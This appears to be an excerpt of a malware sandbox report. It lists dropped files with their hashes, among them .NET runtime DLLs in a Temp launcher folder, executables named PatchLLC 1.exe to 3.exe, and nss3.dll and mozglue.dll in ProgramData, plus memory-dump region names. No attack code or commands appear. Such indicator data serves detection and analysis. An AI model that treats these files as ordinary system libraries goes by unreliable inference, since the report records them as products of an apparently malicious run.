SHA1	12df07407f23d8c47a9ae82e40dba1b72436953d
SHA256	d3ae5e3655e7d93ee396f57a84d215b2073430ea5f250d5cc01d8373649bc82f
SHA512	fc2b9b290d2ec40d5e5b73782a0d7686e5d9d7384564628b4200cecde6742cfba6d0f46401c05bb006cd6f361e43ca9358b25f40badf69eabed1ec9f776481a6

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.IO.Packaging.dll

MD5	54862587ded3549cc15f67b76f75b035
SHA1	89da22ee2baaf714f8c3efa62db94283b75fdf3e
SHA256	fec5b094166a58f932a7c886ce93a8792f1d47c53b546f4e1e950d8f92d36b38
SHA512	767c500bcd8c9e599680dcdfbed15fb2ec9fc66a02e0b8a63ce3f2377df2c29a6aa90c8293319bafbe19703b58f5e262d0119933d6f39898a516e013a35361cd

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Private.Uri.dll

MD5	f08d412526ae885fbe839e072b86e76b
SHA1	3eb34a15c0fffb3018362390887e13c947e3d9f4
SHA256	740ab4b994cea3ea16f540908af7b641d262f38c96ae4b7e947b0ea59f7a2ced
SHA512	667de84a1bd23c8eb3bb44ffa34bd1b8d581300871c7d4244c592bb139c822a4af9d5d06fc3a199ccb9916dbb65885f50a1d4cd44121d9c92aad45cae25faf88

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\PresentationCore.dll

MD5	8d73386e6500a5f1472d9ea609cf1f86
SHA1	fa9719fa533f832b367c449a626303719255aa4c
SHA256	e31fe2a233531b8ef785380f65e964535ee55fdd4bbc9000b0df2107103455fa
SHA512	0ee6f58c290f9edd2cb1e54fd7c3fb6a613c120d0c4fe645924bf30279a927e4374c03a0d0e0f307dd24ac67ebc569815f941708e1b3ae963ce60f00fd232b69

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\DirectWriteForwarder.dll

MD5	fc84b8ce13b688be1b4d47df03f5429b
SHA1	015bef451282c78628a4b8ad1002fcbb96cc9fda
SHA256	81adeb831c5ca434d5066583b659b5758745d948fdaa7fdb31d92e9ecbdae954
SHA512	44c0768ce4dd8a3d6c309a18bfdd398072a9f3688793979cf58d05ec3682e9a5e489410448175af560e4f15099773a7ae6832cca9a9c5df8f469c2d65c1a92c8

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Runtime.InteropServices.dll

MD5	20d6811b3672eb512e6829fc480d3969
SHA1	31a2e4026e79d8393f3f0b026e96fd819b4f7a76
SHA256	fbca80f45ca5c181521ca2d50a7f9933ab28f506af73c7e3123ba60216f52a1c
SHA512	31694587ce54670271304ea9ae1d0b4f234757eb55ee77d41a8c0d1f30cdb439ef523c8735eadca4684915c278d27644ae418d271709a28bb523588240e3e747

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Runtime.CompilerServices.Vis

MD5	6ee1d384d33679b1a165515cbc693bd6
SHA1	657a0328a12b0a01ae78f751ee5ddafbb05a43ec
SHA256	8e745c80741068c48043e5cfe59cd1be01654a91f9ffb8d604ee04cc8eb6b834
SHA512	f0b7877b0366828dab1e367f57cc532c93030f1169fb502f49fb316f6c89207c199cb4b0d06c09b764f2bc7f79838b884b28618be3ca7c0e2f0f409303312851

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Collections.NonGeneric.dll

MD5	6a23d7d07a6f354f634ce3dd001a3313
SHA1	1661996be828a9440cd18e8ad9eabaf1d7dabda9
SHA256	97905829ef2b43562fa46120f9d9ba745678dff4c67432e114bee3a9b30c7916
SHA512	7544cf3cf1255497958492996666e1568ca91ce9a149090c7e18411589517fa8f2010406bf0be3f472afc80f5a2baa209252bf45bbc12e9dff344c6b57edf608

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Collections.dll

MD5	b4db6917e597c76ff49644d53225e30b
SHA1	0e8bd02cc04f4c7211f8691bd5de0fd1a7d42910
SHA256	5402cdf9ac94afd8d6ea1a96d6aeb0fb700f1a2e3768ec00d5bcc1f911cd728e
SHA512	041c106d52a0978921ba60a4ce1176afbb816b3b078852d8b5bf0f4fd01f29af5eebe5a68c0e308dcc2a7c9d2cc774cdca92e6e3998eac467f80d7af4268d85e

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\Microsoft.Win32.Registry.dll

MD5	ec0db1578a6c4579da2ea7c3ea1afee5
SHA1	3880251d14c825176086f69d9d6ddcc285b66651
SHA256	cf40a82e25909025ef2763e6c135e8660d7663088c0f2b1e3469a5a23c15f4e8
SHA512	1ef7131bed4ee8f06aea9e5dca70d18887a4bbd48ac4ac993aadd83145e06d9e2d031a00e76466aa63807ead163b34deadc19f63744deb3d4ede7668603930a7

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\Microsoft.Win32.Primitives.dll

MD5	545099a9bb17d21833895d06bb14dee2
SHA1	598d6e9f47ef119382ce79284b7c8626d5916206
SHA256	eec886a7dff5964a0656e16d98d0ea3aa3bb9b1eb1147c2e32d182276d27eefa
SHA512	17ce0b042da5104a578bd4df856eab82af29c854fbf72f3d0532786dad9fb54b11a0fc6cd53136cfd34af169f4a74ae72b2b50e3f65420643e266c40e7e2bcb5

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Threading.dll

MD5	3429b717fc27f250f874bea622b4e03b
SHA1	8caab76db001110d765d37850b6b8fa2d02cf01e
SHA256	be6e0369d53f3d3898d94bb98951b71e820b4a01709b0ad980f3740a77d12fd4
SHA512	489ec41315375460e4c499bca4d601633357b6f57eab9084e5005fe410f4fe6a2cbc40a164dcb0865d3d5f22b38aa2208f1e050189babc4affba51364a67f65f

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Collections.Specialized.dll

MD5	6050316a2195f807299462e1aa57f930
SHA1	c3cc34bcde00380fa7b6b74478153651be58306e
SHA256	a6aa742690c3c0674b686c1df85fed526be0442cc9c4b813435e62205387e619
SHA512	2992615d955305629a4eb3d4b2c56d22c61138957ac13bc87d41b13bbfb93fbff8fdd54d4e1ef07ad26ac4e3b54a305e01c6b4e63add5f52ec01fe72d7c11e05

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.ComponentModel.Primitives.d

MD5	06b531d85669967a7ddb906cc13fc85e
SHA1	1e0df2633d9dfcf3550541beaaa8b0837a5b1693
SHA256	cd437e927dccb2083268fa48d179a4b50863769c04f9e61ffcba0bc8b16f1c4f
SHA512	39fee2dd60925d7479de7b170fe9dd67a656b99299908a0d91cb7d91a4494bcebfdc4e61cd1047e62cba4db7b204dd9ba05a891bbd4bbb869eb7e5a9a00800e5

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Configuration.ConfigurationM

MD5	c4b723eb190e815093de1fa84d81279b
SHA1	f2ec7028e677881fbae60bbe706aa70beda21c93
SHA256	29dce079eee8f58c203ebd1228bdb9294048c4bcadaa7a4f32b122aed5d1c204
SHA512	aa2a77c9af342af895f0293649c985846d508bbcdc09f06eab40144bcbc8fc244faa7f46fe256dbb39de1b4618ac40721bf8e820a05444eb57cb03933a19b208

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\PresentationNative_cor3.dll

MD5	fbe524ad6c2416c0d71e7c5421d48d95
SHA1	65b98f492799a798ae4e0556081385ffaac08c82
SHA256	76f808ea3da6a05e1940c73754f328a46da88dbc1182ce1451e94fa5f3e03645
SHA512	6ec1fd7c615e4f0fd4128b4fdc125e68c1d64f18494c4ec8dec37e71dd7754b0861321e026ba4decdd589df92f8a264e491758bfd321dff73b834dd10b0df0d7

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Runtime.InteropServices.Runt

MD5	88b3f844b69abd93f04de5df4cb59a1d
SHA1	f99fc151ad001c0bfaca6297568b1c49f11519a6
SHA256	3ebb10572b5c0ac5ecdbca6d6c6290e1fbdd40017b0166e31a993f5454c129d1
SHA512	025f5e63aeb2df70ec5284cbc0510482b8f7b272c103330ab4819eaed6db73343e67cc46dd4a3428bbe1b1c380c0a10846679d44acb87f9cd69da1b328a2429b

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Private.Xml.dll

MD5	31c0febc4f778b8ad88d458e5bd36143
SHA1	7a47cbf8484b0433f3c1a2d6715fdb66c0be3524
SHA256	a2445e9d59d4b808762e5effacab00818bf9bb37f240a056f4d5c7287a7156e4
SHA512	4ae5ec9bb50dcc9524a2bac69c87cfec59d66705165266da9af83c0447c2de4513c0c1553a5ada22e24128b6c6b40ceb519f69ec3351cc1ef52124209a2b342e

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.WebClient.dll

MD5	4a90aa477997cf7b4bb4c9cdf7b7a258
SHA1	667a71e3f24568f0f9ca3a9d15ecbb6d1fcde6f1
SHA256	0524a4c6a507adee5dd73a3f7880d1b015df1aa6b6feaf71eab6710629e154d3
SHA512	f5a8b2e0928352f7a6f455e2d9d9282576fe0693e6f44bab215595edba043820cdb1c5cb39a8b94cbf6af7879c8a315fa2435d2d9eeaee910f23e49d9999ab58

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.ComponentModel.EventBased

MD5	0947fd8f6a8dd7f433e5c892e411adf7
SHA1	2cbe68fa332ea93d3837805f9a1fe92889ee73db
SHA256	eab137913e54efdf72287f1f237ed0867b113d6880b44a8cda00f06dc50d3d4d
SHA512	2b22eddc8caf295a6896583fba0888a39996627b289d01b83d348c6e99b26b4038412b975da074435537d08f10be06753cd21b90f2898dd529dba32955f6a2a6

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Memory.dll

MD5	c54ccd56cd3aa8e39b3d28fb5b3596b8
SHA1	ef59c33992612ddd26e896a37132288541a02476
SHA256	10bff19862d11f4a6b61978539bb669357902b7f7be48b564467e8e9abfa78b3
SHA512	97d9e2b97cb793145c8a14012fd838e79424962bda0b86130507efe195112a83c88c4bd1004d9c55b4b5afb28e5395f41ef22e354e0f28bee77756ae55743851

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Linq.dll

MD5	37275781fa8e7ab4527d88f3e4379af7
SHA1	11efae07dfe2a327e99b212ee21d3a94d10b29e9
SHA256	eaf11f2ba3fb00c30a37ec3b80eca9e032fd2c2d1be703dbad3afa5874205159
SHA512	253709ed52c7f2b0e074da2218851fdb6663933ed6ce88744d84036e469c349f6edbb08cfc050e13007e1248321b5548b3122e04f142fe3fbcd9eff6a9837ea5

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.ComponentModel.dll

MD5	ea31fbec7db96997bbd7d89f8675fd2b
SHA1	e00e346c020cb045a259806cdcaaa0fdcc7ac58c
SHA256	ff7e98a94baad7e546a20dd668835fde3c2d49154d70ecd10cfba0f4eb63b93b
SHA512	3cf1111bb4d1ad31fcb004bada73a1d6a5dbf1f1a0a20bb41bcc38b79dd62b3d3290f836d41efa8bcdac539e3b0a7ae3bf89a49835fc928903ac2f087fe4145e

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Diagnostics.TraceSource.dll

MD5	06ac04510a827c35a36022343812c545
SHA1	91d657efbb21dec1313b57f963e006e062dbf7a9
SHA256	445b8535755bef2f2a38f4f638efe53486e00de03e17168758c81feb439c6c20
SHA512	4864a3fdbcea8b93afceb805b3b0899bffb10bf97d1dacdc65b1cba77517ff08d8c7ad21793ff25e76a3e0b90ecfcd1380f00e69446b2cfa32c0ccd2baa6d63b

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.ComponentModel.TypeConver

MD5	b60fba0d0ed7c3f4db36e68233f3f358
SHA1	ea306a8f0c0bf94c820dfc048cfbd0c130c42991
SHA256	c14bf6a1f390ff18a9f1615f9502ccf8a9c11f4ca73e594bdd270a1c59386c37
SHA512	d2af286726f34b4bd422d55a1dead66d4eac6b966874b002eb65fd2ba48ef4051ceab6ee5c5f48995505306a95cf06616202b4327a5dc1bd5ff15f78d8b27a25

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Windows.Extensions.dll

MD5	31dd38f875ff6238bf17bb4ff3422403
SHA1	97a4f5f42d540dab9ca008922d1a1c8aa161680a
SHA256	69e11d194589037081d87d416b6fb3929a6ea17226520f98338a7f756be3b324
SHA512	8d2d38502038a45078fe0abae2ea9de7d03d9844f9bf55ff4f0c604fee0f380bf69455f295d06b0c932b563cfb0a81e051224294471c2ae5ae704ef5d3d42469

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.ObjectModel.dll

MD5	021d21ff9e79f3405694a5f40aa264ae
SHA1	a4955fa43ddd1357b75fb84ce4961ca36ded352f
SHA256	d7aa931bb2f5980e59540402eb84032a7d5134bdbc4e8838a73c3d6f5f9b5bb5
SHA512	26112fe552d7d362ccf70bb9f794fba7a72a476004eb84044c3889dbe6612b0a8e4580d60c608123602a59ee300fd8663a47a573404d28b3bad986b13e817127

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\UIAutomationTypes.dll

MD5	8f20759dc12a5cb89e5ad2e182676543
SHA1	efc516c60396fc1037b4b98bb122b25103dc1362
SHA256	cd6c132bb9a64d2964842101cf1e2f4dcbb76224b4cf1cb7928bb720063fce34
SHA512	c66c3709814cc521b3a3ddab291bf3bad4546522552de56446eee47741ae41297b8d5d249b8a950d46b3dbd793f5e1f952e9f7a07c2b6cf847960f48cc0c3aa2

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\wpfgfx_cor3.dll

MD5	eb5f89cd8c6bb80a755f36b307f504d5
SHA1	2eb3b5f8748f08c5f4f9c86fdd1817ea2c84668b
SHA256	8a799f376aaf198adca84ac9b6f29a65865f32be269f0d1d0e941e3eed53c077
SHA512	49d172efcb400f1e2fdc08d0b5338af2aadc89dd63917af52eca27ccbdf9d08a6db61fa5fa1a326dcf12418ba4bec6aa5f43cbc8eb9e36a6a865179c84097d1f

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\D3DCompiler_47_cor3.dll

MD5	a7349236212b0e5cec2978f2cfa49a1a
SHA1	5abb08949162fd1985b89ffad40aaf5fc769017e
SHA256	a05d04a270f68c8c6d6ea2d23bebf8cd1d5453b26b5442fa54965f90f1c62082
SHA512	c7ff4f9146fefedc199360aa04236294349c881b3865ebc58c5646ad6b3f83fca309de1173f5ebf823a14ba65e5ada77b46f20286d1ea62c37e17adbc9a82d02

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.Requests.dll

MD5	011d0f8feb9ca46f5e3ddc7dc4421977
SHA1	f09e5bc069aa3e124aadd64407a7229d72232eff
SHA256	fd360073a1226c0a102b8ffdcdd7daa6cb03c72a6b80482dc11a123012eee2f0
SHA512	3a7dcd5735e232cef19a30737c90b6727c9c92660bf339a6a2136b81c80b7f2813df19cb7559d2b34858cb619f9cc623bf7a5258d2132833ead6cde5444e7e26

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.Primitives.dll

MD5	65c707bdd545ad87ed18a1e01e6adde4
SHA1	2e82b3f126b80cff01a13cc16c2400f91eb5700a
SHA256	730352afe927e194d1789f8534194ee2f86cd8e7d2d86c65be9d75f408a9366e
SHA512	c7b9239f9479db553b44bcdd7d9279898ffed24667fbb8d77a60b7095a116e9101c0a66da940778d8dbe635df77d5f016ce41680619962b13b491bf74f21ab08

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.WebHeaderCollection.dll

MD5	0ebe86612960a18f2abc502ef7aaea8f
SHA1	84e70f75e4554b9b28a211c01a97535568d3e36a
SHA256	28fd3dc8e44c45c5f8fa0f968647eaf900124fa2f1172c561518e7ca698d03e4
SHA512	5bcf4ed3bde36dcb21390fc76fb9ba43cd5c28d44ae59c29884d8e0d30b61c93f061a7c62f0a4c2dd548994615d4d367651e5cae97f9a0a2912806b2f3e59255

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Diagnostics.Process.dll

MD5	060c047d431a0bdff8c9bb73c57b3ee1
SHA1	3e6ea552d5a49c8fb37836dbaf5adb80b01e756e
SHA256	b5ad34159f8999d7f11fe97cc32915cd3aef6b1699aad7b0ec3d5da3b74c3dc8
SHA512	2ea4a93a2f9b5e0488b7bd0be3be943ab007323c925cf0889a5a203f48c4189b4d3e4be91ec100eeb4f46855ffc0068b7eed564c810843bd107ffbe68617403a

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\PresentationFramework.Aero2.dll

MD5	f3ed8c245d3e322ed454b0a222ca095d
SHA1	57936d79617ca7cad862a12b779c2cd75c78b9e1
SHA256	4bdf4ff4838a1e50860d0fd48fa0a8e897dc9967ec3bf30944f8966efc0787e1
SHA512	2fac3809ded49546362f78bad92dbf9a98b99168a7f8202c48d4a6149b3ca71c43a65b660d3a0ba4a02de8cc3bcb0fc7da6ce6d2f22cda2d2ef03738109504eb

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\UIAutomationProvider.dll

MD5	e649fb84392d3aad654e4c73f5f068c5
SHA1	fef362b041477981a04d9022b46e7163e855b6c2
SHA256	dc44c713078cdd95d4d169ccd15add97c2c56c797158486e280d5526e360ba1b
SHA512	da2b9acae6ba722e1cc6fd76c7928bfc44a6a8aab45cf618740cbb9de9cf135dcde3674cd0ec12dd27dec0f7b177359eeadcda9ccc3a166a9f0b324597809d63

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\PresentationFramework-SystemXml.dll

MD5	820d6ed8a95a51e4520d0c5813e5aa35
SHA1	0d96b3b8f79a1cba5c956155bd016a94ea289cb9
SHA256	eb4c8f07265693212a5acdfc902cc6ef675c9738ea707701b46922ac54ec0778
SHA512	7fd15e68a3d93feb13bc74cc2edb3ed144d15a6c7b85328f5ef6991a0fb9fb8aeee3cd4d493b7990aa09b6d80b83f72b8dded7224b0b832e276864289ab7e9a3

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.Http.dll

MD5	fa586f33b3581c997c8cb7757e5556df
SHA1	a2528e45c17cc7f070136405acd9f5ee8e2e0580
SHA256	60d40237fc5d7af311dbf21c4c86493e60f18a289a3113dcdb6de68dc0a6ff04
SHA512	36c01636609a1d35c034b0e796844281bedee26310d0a8a7398b82c4a5332de45f9ad382ea67a748dd9e3ad6ae268d2e28d86805232e6610971ce80e1a2bfef7

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.ServicePoint.dll

MD5	92f0128e98b3872b1bae8ccaa8b7b52d
SHA1	5313863da3fb15592419426fdfc4576c58ae4fa0
SHA256	a00d1397277df1ca542d09a3b432358ad5e641900ec323982502de41beb631b6
SHA512	2d6c72a4c87a9d9cf0785cbe0f6e050533c3c60b2ae426e96023ffc3409865a2352598f45ea8940a301d5de97f0b0bc5a8de4cd2556a41e6dd967f3c26e5ebd5

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.Security.dll

MD5	59e1a71263dab0410d727476f2da1c6e
SHA1	c01afeb22da57e74eb6a9c0866d2b00fa5683e42
SHA256	66eb074e04c93c64a15ac18800701eae3cf6d02851b4d4d4e8ea66de13d63957
SHA512	6be8e5f63f17e9203d6a533467e70d1a8faeb442af026ffbe072998296ea5cc41b54fb067b83c3acf5d44b2f1a75f636956caa2a0a6d9ffbb7ce56641a989725

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Diagnostics.DiagnosticSource

MD5	ee6e3ade8650568a19d1e1b1f5108c34
SHA1	40b46977180e082a2073229c87e694c7e11a904c
SHA256	10f4560b096958c25ddad2b7126367f79bdca082b3c9775af672162eb4c8ef9a
SHA512	bf2bdf2af23a4a1a8935bb7a4939014ebd34816425aaa7ef752f60260e840193011e46f1bb0a63765ff2bdd14ad37577f3aaf66d41a909c13f727b286e8593f0

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Security.Cryptography.X509Ce

MD5	b28c8addee766aa17c7c6c3e4a98117e
SHA1	9ebd3b2d9ad8a0d156112e6608af160d1516c012
SHA256	8c7d184a5ad0ef477b3765ab1f05b2f87be9e6ae5a5d650ed0ec7b9f1f891147
SHA512	2f50bf48c5bac671954b31197b8059c312f84eafc56f5d8051e866dac59b31a99b99da1bf1a24070ea06537e2cd2baadce274e2267bf06e9da2e65b8465998da

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.NameResolution.dll

MD5	cbdc4d2f59df7b932af04835f0d77654
SHA1	4e268e11b31bce1bff7ba6c3911ce0dd32a72026
SHA256	9c9b4334183bed74c5ed6f043f421317a630714d18545f880b09549fbb4d7e1e
SHA512	9f15f4443d7b376c814788a3de40fffc8d6941649e90a17530d151c9fa3e3786749683e575399b898966c7df3e9dfbeaa88a22ddb1eeade02a8e00403dc073f8

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.Sockets.dll

MD5	941426c6c1b701f28bec860f34240c30
SHA1	0e1a96e0729306dd3f7cbcf4d97259a43f3083e7
SHA256	762b83ccccb1b4141db6ec472146ad44a6a4dbf8f9ebf017c30b1343d06918a7
SHA512	cc6984bf2ee7646917f4ed83354e91d6e3d626ee325db475c71e57c98c76f2522a348fd264e2928a7258a1936d1c4bbfacfc50f580be8d31e9914a46e084c3ce

memory/3856-568-0x00007FFC2ED33000-0x00007FFC2ED35000-memory.dmp

memory/3856-571-0x000001C8DB9B0000-0x000001C8DB9D2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp__PSScriptPolicyTest_bcpl4dbh.k0p.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3856-579-0x00007FFC2ED30000-0x00007FFC2F7F1000-memory.dmp

memory/3856-580-0x00007FFC2ED30000-0x00007FFC2F7F1000-memory.dmp

memory/3856-581-0x000001C8DBED0000-0x000001C8DBF14000-memory.dmp

memory/3856-582-0x000001C8DBFA0000-0x000001C8DC016000-memory.dmp

memory/3856-585-0x00007FFC2ED30000-0x00007FFC2F7F1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Security.Cryptography.Primitiv

MD5	4ea715df36a680c61ee1e0067e3a15e4
SHA1	c90d2ebdcabed160aca894253a9d848a1ec996b6
SHA256	22a9bf51df63984d2941d7a547126f987efc6e957915f963bdc0a1929c6a3374
SHA512	17e1744b85fe5805039d89eb66b4d3ffcf6af107a96440e3c787551a88a00db241dbcda672f05909ff1f59bae474ed438afad77e704c845378c4bebad8fd2846

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Security.Principal.Windows.dl

MD5	e0882f4dad179757ebfc567ae8a2a3b1
SHA1	ccc6c0d056d11284198634de697cff646dc83dc9
SHA256	621b85a514927780eb18c3cae94df6875a8f032435d6077df7ed8ff04ebaaa89
SHA512	823cdca18c5fbecf9d5f1b2dc5ffe77adecf3f435e89c8345cc6d364444f342fe8fdedfc06ae01b7bb33b514947257af73969b9b817aa732b08e30db06fd5b83

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Security.Claims.dll

MD5	d2370690640054815a21fbea71a6b1eb
SHA1	9204318445181fdd673267f5ed03235d22415e6b
SHA256	a3aca4ac675cd70286b0889f01d50ddcaf26b3f5dd0d93bca0d9f60335a87163
SHA512	8ac2818842b7b5a78e1644ac14b96fc0e1a8cb67719044baffb2f1dccceb63dfb39fdcd4d3ea000dfaa8e9d1f47fd13e6175f1fda1632d1c1ea8d05acb0f4c6d

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Security.Cryptography.Encodi

MD5	2acb4164a237a32494448ccab801e6f2
SHA1	998c3ce3678dcc4eb838ec2f2c57c7858672e4f3
SHA256	f73e43ba1e809f74370a74834827682b2d2babb223c5bcd3413ec307b3b01549
SHA512	575b2f74addf9cbb7472efae31c6504d0c592c34d3a3a55c2b42ddb4d3b24a68b3f46f0fa6301f421f930e8b0f8f8b44ea1ecb49e42c7ab3d875cdb474b659bb

C:\Users\Admin\AppData\Local\Temp\PatchLLC\1.exe

MD5	78cf37d04f5f0ddebe698a46f277438f
SHA1	4ab759a41b0d39ab4943149621e08a611ef6e27b
SHA256	5d5a917ea1e2edaaf5745b37c743632d6e4fddd968439473e305068b95c42212
SHA512	89055b15d4efa81cb9bffb9a323f0633a32207cb522aa0e2649d11d0e742e70b73ec253f5a17b8602caed279a1b1400240dc46174713623e3b2673e9e32bd6d8

memory/2520-597-0x0000000000350000-0x00000000003AA000-memory.dmp

memory/2520-599-0x0000000000350000-0x00000000003AA000-memory.dmp

memory/2520-602-0x0000000000350000-0x00000000003AA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\PatchLLC\2.exe

MD5	0811f3c00f0f068af56d2186111214f2
SHA1	8af2125a86c00601eb66e63bc9f162ff3b34e4df
SHA256	c153c41dcf06c0a7899635d858b15e4f8dc6117cefa418f841351e4593ebb89a
SHA512	aecdc20df98c4d8e464b1a3c3904ef9ef875ee2240c12c0320fb55cec055a9f37855a9cb86f5464289cf3f10931cb968449f1ae55fcd1f72be421e5e33b8dbf4

memory/2848-606-0x0000000000400000-0x0000000000643000-memory.dmp

memory/2848-607-0x0000000000400000-0x0000000000643000-memory.dmp

memory/2848-609-0x0000000061E00000-0x0000000061EF3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\PatchLLC\3.exe

MD5	5c831f95d73dbbcfb05085c8a833235f
SHA1	2dfe46775447bdbdf590fd32d2e4f8d18f79b321
SHA256	83371d0b84cbbc9192bb873209698a2a633e811c2f81993c440804074ce3dfe8
SHA512	5d9a62341e842c3b6d138dea7d858852ea7a260efd86e7616ea3131f3265bfb84beab746cc8c5e631864b68d4bcee2975c87d73be8c73ae027a5ec2653781048

C:\ProgramData\nss3.dll

MD5	1cc453cdf74f31e4d913ff9c10acdde2
SHA1	6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256	ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512	dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

C:\ProgramData\mozglue.dll

MD5	c8fd9be83bc728cc04beffafc2907fe9
SHA1	95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256	ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512	fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

memory/2796-676-0x0000000000400000-0x0000000000423000-memory.dmp

memory/2796-677-0x0000000000400000-0x0000000000423000-memory.dmp

memory/1816-678-0x0000000002950000-0x0000000002986000-memory.dmp

memory/1816-679-0x00000000050B0000-0x00000000056D8000-memory.dmp

memory/1816-680-0x0000000005080000-0x00000000050A2000-memory.dmp

memory/1816-681-0x0000000005850000-0x00000000058B6000-memory.dmp

memory/1816-682-0x0000000005930000-0x0000000005996000-memory.dmp

